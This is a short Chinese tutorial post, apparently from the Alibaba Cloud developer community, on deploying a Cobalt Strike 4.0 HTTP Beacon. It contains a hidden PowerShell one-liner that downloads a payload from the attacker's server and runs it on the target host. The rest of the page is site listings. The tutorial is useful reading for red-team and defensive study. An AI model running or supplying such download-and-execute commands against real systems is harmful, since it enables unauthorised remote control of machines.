AI 助理
备案控制台
开发者社区 云计算 文章 正文

Cobaltstrike4.0系列 -- Beacon HTTP

2023-02-18 87
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介： Cobaltstrike4.0系列 -- Beacon HTTP

一、新建Listeners，点击save


0a2653c851af460fa595bd959398a8f1.png


二、利用powershell命令获取目标主机的Beacon


1、选择Attacks--Web Drive-by--Scripted web Delivery


0eacb84100b54626af849e6b562bf92a.png


2、选择添加的Listener，点击Launch


2d65d23f6d4748949b924e4057485923.png


3、获取powershell的单行指令


powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.133:8888/a'))"


2e9b90b2ca334476abebe75bafe6eeaa.png


4、在目标主机的powershell中运行


0a2653c851af460fa595bd959398a8f1.png


5、目标主机上线


0eacb84100b54626af849e6b562bf92a.png


禁止非法，后果自负


关键词：
cobaltstrike4.0 HTTP
sumith
目录
相关文章
sumith
|
6月前
Cobaltstrike4.0系列 -- Beacon HTTP
Cobaltstrike4.0系列 -- Beacon HTTP
sumith
57 0
@dailidong@
|
Web App开发 新零售 前端开发
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
1.尽可能地了解需求，系统层面适用开闭原则 2.模块化，低耦合，能快速响应变化，也可以避免一个子系统的问题波及整个大系统 3.
@dailidong@
751 0
@dailidong@
|
Web App开发 监控 前端开发
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
目前实现的监控概览               
@dailidong@
797 0
@dailidong@
|
Web App开发 前端开发
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
总结和计划总是让人喜悦或镇痛，一方面以前一段时间没有荒废，能给现在的行动以信心，另一方面看到一年的时间并不能完成很多事情，需要抓紧时间。
@dailidong@
617 0
@dailidong@
|
Web App开发 监控 前端开发
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
系统的升级涉及各个架构组件，细节很多。常年累月的修修补补使老系统积累了很多问题。 系统升级则意味着需要repair之前埋下的雷，那为何还要升级，可以考虑以下几个方面 成熟老系统常见问题： 1. 缺乏文档（这应该是大小公司都存在的问题。
@dailidong@
624 0
@dailidong@
|
Web App开发 前端开发
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
ERROR: (regions day_hotstatic,860010-2355010000_20140417_12_entry_00000000321,1398674475358.
@dailidong@
958 0
@dailidong@
|
Web App开发 前端开发
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
zookeeper watch的定义如下：watch事件是一次性触发器，当watch监视的数据发生变化时，通知设置了该watch的client，即watcher。
@dailidong@
936 0
@dailidong@
|
Web App开发 监控 前端开发
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
已发现2个内存错误，应用名称（kernel:）,日志内容(hangzhou-jishuan-DDS0248 kernel: sbridge: HANDLING MCE MEMORY ERROR hangzhou-jis...
@dailidong@
851 0
@dailidong@
|
Web App开发 前端开发 Linux
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
　频繁的文件访问会导致系统的Cache使用量大增 　　$ free -m 　　total used free shared buffers cached 　　Mem: 3955 3926 28 0 55 3459 　　-...
@dailidong@
648 0
@dailidong@
|
Web App开发 前端开发 Linux
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
问题症状 修改 linux 内核文件 #vi /etc/sysctl.conf后执行sysctl  -P 报错 error: "net.
@dailidong@
555 0

热门文章

最新文章

  • 1
    Java发送Http请求（HttpClient）
  • 2
    阿里云虚拟主机HTTPS（HTTP+SSL）加密开通了
  • 3
    android-async-http框架的学习和使用
  • 4
    HTTP连接客户端，选 HttpClient 还是 OkHttp ？
  • 5
    关于使用HTTP代理IP爬虫采集的认知误区
  • 6
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
  • 7
    Tomcat 无法及时响应，http请求一直pending状态
  • 8
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
  • 9
    统计http连接数
  • 10
    nginx HTTP Upstream模块
  • 1
    socket，tcp，http三者之间的原理和区别
    60
  • 2
    Linux命令发送http
    101
  • 3
    http-server实现本地服务器
    112
  • 4
    干货｜代理IP协议有何区别？深入了解 SOCKS5、HTTP 代理
    64
  • 5
    干货｜代理IP协议有何区别？深入了解 SOCKS5、HTTP 代理
    312
  • 6
    对于Android的http请求的容错管理
    35
  • 7
    android通过http上传文件，服务器端用php写(原创)
    65
  • 8
    Java中如何通过代理实现对HTTP2网站的访问？
    92
  • 9
    常见的http状态码
    41
  • 10
    nginx 302 301 设置 url 转跳 nginx 资源重定向 nginx tcp 和 http 转发
    211

    • 相关课程

    更多
  • Java Web开发-Web应用、Tomcat、HTTP请求与响应
  • 云安全基础课- HTTP协议基础

    • 相关电子书

    更多
  • 阿里巴巴HTTP 2.0实践及无线通信协议的演进之路
  • 低代码开发师（初级）实战教程
  • 阿里巴巴DevOps 最佳实践手册

    • 相关实验场景

    更多
  • 通过轻量消息队列（原MNS）主题HTTP订阅+ARMS实现自定义数据多渠道告警
    • 下一篇
    无影云桌面